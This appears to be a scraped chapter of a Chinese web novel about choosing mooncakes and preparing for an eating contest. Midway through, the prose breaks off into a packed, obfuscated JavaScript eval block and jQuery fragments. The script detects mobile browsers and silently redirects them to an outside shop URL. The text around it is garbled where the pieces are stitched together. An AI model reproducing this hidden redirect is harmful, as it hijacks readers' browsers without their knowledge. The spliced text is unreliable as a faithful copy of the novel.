路璟点点头:“当然有了。”
孔青锦问:“是哪家?!”
“华露轩的清水玫瑰月饼,琢味轩的莲蓉咸蛋黄月饼都新奇又好吃。”
“莲蓉咸蛋黄月饼?大家先前未曾吃过吗?”
“没吃过,”路璟摇摇头,对孔青锦发出疑惑感到很惊讶,而后又想起孔青锦是一贯不能用看待他人的思维来看待她的,于是了然笑了,“对了,孔姑娘神通广大,想必一定吃过吧。”
玫瑰月饼孔青锦没吃过,暂不作评价,不过莲蓉咸蛋黄月饼,在现代可是常吃的口味,众厨子竟然会觉得此月饼新奇。
不过,好吃自然是好吃。
“孔姑娘觉得味道如何?”
她道:“那自然是好吃的。”
路璟笑说:“那就好。”
休息了约莫两柱香时间,筛选会再次开始,路璟重新回到座位上,等着剩下的糕点铺一一将月饼端上来。
第五家是松林斋,是个刚开几年的新铺子,执事人端上来的两种都是酥皮月饼,一口咬下去满口脂香,脆得掉渣。
一种是枣泥馅,一种是芸豆沙陷。
路璟分别吃了,枣泥馅绵软细腻,口感不错,味道甚好,芸豆沙馅与枣泥馅口感上没有太大的差别,味道稍淡些,这两种里估计也就选一个。
第六家是酥点记,同样是端上来两种,一种是纯冰糖加黑芝麻混合成的馅料,路璟本没抱什么期待,咬了一口后,惊觉味道竟然不错,冰糖并不像平常吃的那样甜,口感像糖酥饼,馅料很软,跟酥皮搭配很合适,不知道为何,路璟觉得孔青锦应该喜欢这款。
第二种是糖桂花与豆沙混合的馅料,吃下去有一股淡淡的清香,味道还不错。
后面又端上来几家,厨子们一一尝过,心中多多少少都有了答案,各自一旁的纸上勾勾画画不少,路璟也觉得差不多了,左右就是那几样,比赛时口味还要再调整,不能太甜,糖度要适当降一些……
试吃结束后,在场的人各自点头道谢,交谈几句,孔青锦立刻跑到路璟身边,“路公子,你都尝完了,觉得怎么样?”
路璟道:“都不错,至少没有难吃的。”
孔青锦道:“那么,路公子心中已是有选择了吗?”
“自然,”路璟笑道,“我想大伙们也差不多吧。”
孔青锦瞥了眼路璟手上的纸,字很小很密,尽管她靠得近,也还是看不清。
路璟注意到她的眼神,有些羞愧地笑道:“孔姑娘可不要看这个。”
孔青锦“哎呀”了一声,“我什么都没看到!你写的字那么小我看不清啦!”
孔青锦原以为路璟是怕她看到他的选择会有什么不好的影响,遂出口这两句,想让路璟放下心,哪知路璟却脸红道:“不是写得小,只是我的字丑,孔姑娘看不懂也是很正常的。”
闻言,孔青锦哈哈笑道:“路公子,头一回见你如此!”
路璟脸更红了,“孔姑娘,你可不要取笑我。”
孔青锦笑得有点岔气,“我取笑你?我的字怕是更难以示人!路公子何必羞愧!”
路璟见孔青锦笑得这么开心,也终于是笑了,“以后有机会,我一定会练字的。”
路璟每日寅时便要起床准备各项事务,到了亥时才收拾着准备休息,哪还有时间练字?孔青锦怕他猝死,赶忙劝道:“别,咱们又不是要去考状元,字能看懂便可,你可得顾虑一下自己的身体。”
不过,孔青锦平日里时间多,她倒是可以练练字,因此又说道:“还是我来练吧!我们两个强强联合,有一个人写字就可以了!”
路璟甚是感动,道:“孔姑娘可千万不要勉强自己。”
二人说着闲话就到了后厨,等傍晚时刻莫老板才会过来同他们交流结果,因此现在便是该干什么干什么。
刚来了客人来这儿吃酒席,连定了几桌,厨子们一时间不得空,赶紧开始做饭炒菜,孔青锦在后厨帮不上忙,于是干脆回值房去,等着人来找她。
晚上莫老板来到天香居亲自品尝所有报名参加的糕点铺月饼,品尝过后,召集所有的厨子讨论,很快便定下了方案。
最终是华露轩的清水玫瑰月饼和鲜肉月饼,琢味坊的椒盐月饼和莲蓉咸蛋黄月饼,松林斋的枣泥月饼和酥点记的糖桂花豆沙月饼这六种。
对于这场比赛,天香居十分重视,莫老板特地召开集会,表示要为其起一个响亮的名字,众人一时嘁嘁喳喳地讨论起来,却说不出个好歹。
孔青锦问路璟:“路公子,你有什么好想法?”
路璟摇摇头:“想不出来。”
众人都围绕着“月饼”二字取名,什么“玉兔啃月”“月饼特典”,莫老板听了,都只摇摇头。
暂时没讨论出个好歹来,莫老板只先让众人散了,道:“大伙们回去好好想想,赛名明日再定。”
众人遂都散了,各忙各的。唯有路璟还在垂着头思索,孔青锦见路璟如此认真,遂凑过去问:“路公子,还在想呢?”
路璟点头:“孔姑娘,这是你第一次正式参加天香居的大型比赛,我同莫老板的想法是一样的,一定要取个霸气侧漏的名字!”
孔青锦感动不已,见路璟一脸热血,她也开始绞尽脑汁地想,起个什么样的名字呢?
要论学问,他俩其实都算学渣,不过是认识些字,会读会写,但是要让他们造,还是难了些。
“啊!”孔青锦脚步顿住了,突然叫道,“我想到了!”
路璟紧跟着停下,“孔姑娘,你想到什么了?”
孔青锦道:“这个名字绝对霸气!”
路璟:“请说。”
“就是……”孔青锦凑近了小心将名字说给路璟。
路璟听后,惊喜道:“这名字好!”
翌日,孔青锦和路璟将这个点子报给了莫老板,路璟费劲了口舌,讲这名字的霸气之处,所幸莫老板与他们的思路是吻合的,听罢后,一拍腿道:“好!好!这个名字好!那就这么定了!”
不过众人听后,表情似乎不是那么好。
倒不是觉得难听,只是觉得……新奇?
一厨子道:“这名字虽是不常见,倒也新奇,谁见了不觉有意思?”
苏嘉摸着下巴嘀咕:“这名字,也就老板会用了。”
众人虽觉得怪些,但莫老板一副不容置喙的样子,这名字也就这么定下了。
两日后,天香居挂上了大胃王比赛的招子,孔青锦看着那一串名字,心中念着,觉得甚是响亮:
金秋桂香之饼王争鼎!
苏嘉挂上那招子后,在远处站定看着,仿佛在安慰自己一般,“不错啊不错啊!这名字好极了!”
话虽这么说,不过额角仍然流下汗。
孔青锦不觉得难听,顶多是没那么好听嘛,众人看了这名字,一定竞相来观看比赛!
孔青锦赞同道:“是啊!相当霸气!”
她提出这样一个独特的名字,路璟和莫老板都表示支持,这令孔青锦热血再次沸腾了!这次比赛,她绝对不会输!
与之前的比赛不同,食材与招子是同时挂上的,提前公布,只有月饼一样,限时一炷香,即日起三日的时间都是报名时间,仅仅是第一日,就有八个人前来报名,加上孔青锦,一共是九个人了。
对于比赛月饼的制作,基本保留那日品尝的月饼的原方子,甜口月饼整体上都少加了些糖,除此之外再没有变化。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031846|189239||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
距离比赛还有七日时,孔青锦到各个铺子里买了些月饼,打算回家和青绫一起吃,顺便自己练习一下,在现代的时候还没来过月饼挑战呢。
糕点铺里印模的酥皮的都有,她每样里都来上了几个。
参与比赛的月饼种类直到比赛当日才会售卖,因此孔青锦心心念念的咸月饼是吃不着了。
回到家后,青绫见孔青锦带回来那么多月饼,惊喜地又蹦又跳。
孔青锦坐下后,简单规划了一下比赛时的打算,月饼是比较实的食物,比赛的时候要千万注意,不能吞咽过快,不然高低会噎着,因此到比赛之时,切不可因他人影响了自己的心态,全程保持匀速,一个月饼可以分为四块或八块,如果是四块,那么吃下一块的速度控制在15秒左右,如果是八块,那么吃下一块的速度就要在5秒之内,孔青锦仔细计算着时间,一炷香是十五分钟,不考虑胃容量的话,应该能吃15-18个左右,只是……不知道其他选手的水平如何。
月饼与其他主食不同,极其撑肚,殷和静未必不是她的对手,如果她拿出全部实力的话……
这是她们第一次真刀真枪地正面交锋了,不知道到时候场面会如何热闹。
孔青锦最终决定这次比赛不做任何收敛,只管顺着吃便是,作为一个专业的大胃王,她比其他人更有优势,一定……一定不会输的!
比赛前三天,天香居上下都忙忙碌碌,首先是卖票子,这次还是在天香居特备的赛场举行,票子共准备了二百张,很快就卖完了。
接着又是排座位,收拾赛场,路璟又忙着去监督糕点铺子的工作,一时之间没和孔青锦说上几句话,到了比赛前一天,已经是“万事俱备,只欠东风”的状态了。
孔青锦在这几天抽空在家练习了一次,虽说月饼不同,但大小用料总归是差别不算太大,她给自己点上了一炷香,然后迅速开始吃,没有任何犹豫,全程保持较快的速度,最终结果是吃了18个,到时候只要保持这个水平,冠军应是无疑的。
比赛前夕,孔青锦开始禁食,不算之前螺蛳粉的街头挑战的话,这次比赛是她第一次出现在众人面前,不知道众人会如何想。
当夜休息得很好,天香居的比赛在正午时刻举行,但一大早便已经有不少人在天香居门口等待了。
孔青锦本想避开人群直接前去后厨找路璟,却没想被人抓了个正着,那人一掌拍在她肩膀上,吓得孔青锦差点叫出来,回头一看,竟是殷和静。
殷和静笑道:“孔姑娘,又是好一段时间不见了,近来如何?”
孔青锦回笑:“挺好的,殷姑娘来得挺早呀。”
殷和静“嗐”了一声,“今日比赛能见到你,我可不得来早点吗?”
她自然地挽住了孔青锦的手,“你要去赛场吗?咱们一起吧!”
殷和静并不给她搭话的机会,直接带着她往赛场奔去。
孔青锦叫停不迭,“等、等等……殷姑娘,慢点……”
殷和静回过头,“怎么?难道你是想去找那日同你在一起的小白脸?”
孔青锦脸红了,“什么小白脸?”
“就是那个高高瘦瘦的……是不是厨子?”
“是……”孔青锦知道殷和静说的是路璟,只不过被殷和静这么说出来,她有些不好意思。
二人进了赛场的等候间——其实也就是之前的包间隔出来的,现在只来了两三个人,孔青锦同殷和静紧挨着坐,等其他人过来。
距离开赛还有些时间,孔青锦本想趁比赛前跟路璟说几句话的,也不知有没有机会。
下一秒包间门却突然被推开,不是大胃王选手,而是路璟。
“孔姑娘,我有话想与你说。”